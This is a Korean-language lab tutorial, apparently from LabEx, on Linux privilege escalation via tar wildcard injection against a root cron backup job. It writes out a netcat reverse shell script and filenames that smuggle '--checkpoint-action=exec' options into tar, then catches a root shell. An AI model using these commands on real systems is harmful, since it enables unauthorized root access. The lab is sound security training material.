소개
이 랩에서는 Linux 시스템에서 권한 상승에 사용되는 기술인 와일드카드 인젝션 (wildcard injection) 에 대해 배우겠습니다. 특히, 널리 사용되는 tar 명령에서 와일드카드 인젝션의 원리를 살펴보고, 이 취약점을 crontab 유틸리티와 결합하여 root 권한을 획득하는 실습을 수행할 것입니다.
와일드카드 이해
먼저, 와일드카드가 무엇이며 Linux 쉘에서 어떻게 작동하는지 이해해 보겠습니다. 와일드카드는 파일 이름 또는 경로 집합을 나타내거나 일치시키는 데 사용할 수 있는 특수 문자 또는 문자 시퀀스입니다.
다음은 몇 가지 일반적인 와일드카드입니다.
*(별표) 는 파일 이름 또는 경로에서 임의의 수의 문자 (0 개 문자 포함) 와 일치합니다.?(물음표) 는 임의의 단일 문자와 일치합니다.[](대괄호) 는 대괄호 안에 지정된 문자 집합 내의 임의의 단일 문자와 일치합니다.~(물결표) 는 현재 사용자의 홈 디렉토리를 나타내거나, 사용자 이름이 뒤따르는 경우 다른 사용자의 홈 디렉토리를 나타냅니다.
권한 상승의 맥락에서 * 및 - 와일드카드가 일반적으로 사용됩니다. 먼저 쉘이 - 문자를 어떻게 해석하는지 살펴보겠습니다.
터미널을 열고
/home/labex/project디렉토리로 이동합니다.cd /home/labex/project현재 디렉토리에는
--help라는 파일이 있습니다. 이 파일의 내용을 어떻게 볼 수 있는지 생각해보고 실험해 보십시오.cat --help명령을 사용하면--help파일의 내용을 보는 대신cat명령에 대한 도움말 메시지가 표시됩니다.마찬가지로,
vim --help를 사용하면vim명령에 대한 도움말 메시지가 표시됩니다.이는 Linux 쉘이
-를 명령 인수로 해석하기 때문입니다.--help파일의 내용을 보려면 파일 이름을-로 시작하지 않도록 해야 합니다. 다음을 사용할 수 있습니다.cat /home/labex/project/--help이렇게 하면 쉘이
--help를 인수로 해석하지 않으므로 파일의 내용을 볼 수 있습니다.이제 원하는 편집기를 사용하여
--help파일의 내용을 변경해 보겠습니다. 예를 들어,nano를 사용할 수 있습니다.nano /home/labex/project/--help기존 내용을 삭제하고 파일에 다음 텍스트를 추가합니다.
I can read the filenano 를 저장하고 종료합니다.
쉘의 이러한 동작이 바로 와일드카드 인젝션이 악용하는 것입니다.
와일드카드 인젝션은 종종 cron 작업과 결합되므로 tar 명령과 관련된 실제 사례를 살펴보겠습니다.
Crontab Tar 와일드카드 인젝션
와일드카드 인젝션이 어떻게 권한 상승으로 이어질 수 있는지 이해하기 위해 tar 명령과 crontab 을 사용하는 실습을 수행하겠습니다.
먼저, 다음 명령을 실행하여 랩 환경을 초기화합니다.
/home/labex/project디렉토리로 이동합니다.cd /home/labex/project랩 환경을 초기화하기 위해 설정 스크립트를 실행합니다.
./env_setup.sh초기화 후,
user001사용자로 전환됩니다 (초기 쉘 액세스를 얻은 공격자를 시뮬레이션).그런 다음, crontab 에서 예약된 작업을 확인해 보겠습니다.
cat /etc/crontab예상 출력:
* * * * * root cd /var/www/html/ && tar -zcf /var/backups/html.tgz */var/www/html/디렉토리의 내용을 압축 파일/var/backups/html.tgz로 아카이브하는 작업이 매 분마다 실행되도록 예약되어 있는 것을 볼 수 있습니다.다음으로,
/var/www/html디렉토리 내부의 파일을 살펴보겠습니다.ls /var/www/html와일드카드 인젝션 취약점을 악용하려면
/var/www/html/디렉토리에 다음 세 개의 파일을 생성해야 합니다.먼저,
/var/www/html디렉토리로 이동합니다.cd /var/www/html/리버스 쉘을 실행할 내용이 있는
shell.sh:echo 'nc.traditional 127.0.0.1 4444 -e /bin/bash' > shell.sh--checkpoint-action=exec=sh shell.sh라는 파일 (파일 이름에 공백이 있음):echo "" > "--checkpoint-action=exec=sh shell.sh"--checkpoint=1이라는 파일:echo "" > --checkpoint=1
이러한 파일을 생성한 후,
/var/www/html/디렉토리는 다음과 같아야 합니다.'--checkpoint-action=exec=sh shell.sh' '--checkpoint=1' index.html index.nginx-debian.html shell.shcron 작업이 다음 명령을 실행할 때:
tar -zcf /var/backups/html.tgz /var/www/html/*다음과 같이 해석됩니다.
tar -zcf /var/backups/html.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh index.html index.nginx-debian.html다음은 매개변수의 의미입니다.
--checkpoint및--checkpoint-action은 일반적으로 함께 사용됩니다. 전자는 체크포인트를 설정하고, 후자는 체크포인트에 도달했을 때 수행할 작업을 지정합니다.--checkpoint-action=exec=sh shell.sh는 체크포인트에 도달하면shell.sh스크립트가 실행됨을 의미합니다.
따라서 cron 작업이 실행될 때마다
shell.sh스크립트가 실행되어/bin/bash를 로컬 포트 4444 로 리버스 쉘을 실행합니다.현재 쉘에서 로컬 포트 4444 에 리스너를 설정해 보겠습니다.
nc -lnvp 4444잠시 기다린 후, cron 작업이 실행되면 root 권한으로 리버스 쉘을 받아야 합니다.
예상 출력:
Listening on 0.0.0.0 4444 Connection received on 127.0.0.1 56226root 권한이 있는지 확인하기 위해
/root디렉토리에success.txt파일을 생성해 보십시오.touch /root/success.txt권한 오류 없이 파일을 생성할 수 있다면 와일드카드 인젝션을 사용하여 권한을 성공적으로 상승시킨 것입니다.
이 tar + crontab 권한 상승 기술에는 두 가지 중요한 제한 사항이 있습니다.
html디렉토리는 "other" 사용자에 대해 쓰기 (w) 권한이 있어야 하므로 해당 디렉토리에shell.sh및 기타 파일을 생성할 수 있습니다.crontab 의
tar명령은 절대 경로를 포함하지 않아야 합니다. 예를 들어, crontab 항목이 다음과 같은 경우:* * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*쉘이 명령을 다음과 같이 해석하기 때문에 와일드카드 인젝션이 실패합니다.
tar -zcf /var/backups/html.tgz /var/www/html/--checkpoint=1 /var/www/html/--checkpoint-action=exec=sh shell.sh /var/www/html/shell.sh /var/www/html/index.html /var/www/html/index.nginx-debian.html이 경우,
/var/www/html/--checkpoint=1및/var/www/html/--checkpoint-action=exec=sh shell.sh는tar명령 인수로 해석되지 않으며 인젝션이 실패합니다.
요약
이 랩에서는 Linux 시스템에서 권한 상승에 사용되는 기술인 와일드카드 인젝션에 대해 배웠습니다. 널리 사용되는 tar 명령에서 와일드카드 인젝션의 원리를 탐구하고, crontab 유틸리티와 결합하여 이 취약점을 활용하여 root 권한을 얻는 실습을 수행했습니다. 이 랩을 통해 실제 권한 상승 취약점을 이해하고 악용하는 실질적인 경험을 얻었으며, 이는 모든 보안 전문가 또는 시스템 관리자에게 필수적인 기술입니다.